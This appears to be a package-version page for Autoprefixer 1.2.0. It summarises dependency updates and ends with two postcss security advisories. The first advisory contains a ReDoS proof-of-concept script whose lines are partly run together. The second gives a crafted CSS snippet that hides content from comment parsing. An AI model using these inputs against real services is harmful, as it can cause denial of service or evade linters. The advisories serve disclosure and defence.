Autoprefixer, a powerful CSS post-processor, saw an update from version 1.1.20140605 to 1.2.0, bringing enhancements that developers should be aware of. While the core functionality of parsing CSS and adding vendor prefixes based on Can I Use data remained consistent, several key changes were introduced.
Notably, version 1.2.0 introduces a new dependency: caniuse-db at version ~1.0. This inclusion likely signifies an update to the Can I Use data, ensuring more accurate and up-to-date vendor prefixing, which is crucial for cross-browser compatibility.
Furthermore, subtle changes appear in the development dependencies. The should package was updated from version 4.0.1 to 4.0.4, and stylus from 0.46.2 to 0.46.3. browserify also sees an update from 4.1.8 to 4.1.9. These updates might incorporate bug fixes, performance improvements, or new features in the testing and development environment, potentially enhancing the development workflow.
The releaseDate also highlights the release cadence, with version 1.2.0 arriving approximately five days after the previous stable version. Developers seeking the most current browser support data and potential bug fixes within the development tooling will find version 1.2.0 the preferable choice. Consider the upgrade for optimal vendor prefixing and a potentially smoother development experience.
All the vulnerabilities related to the version 1.2.0 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.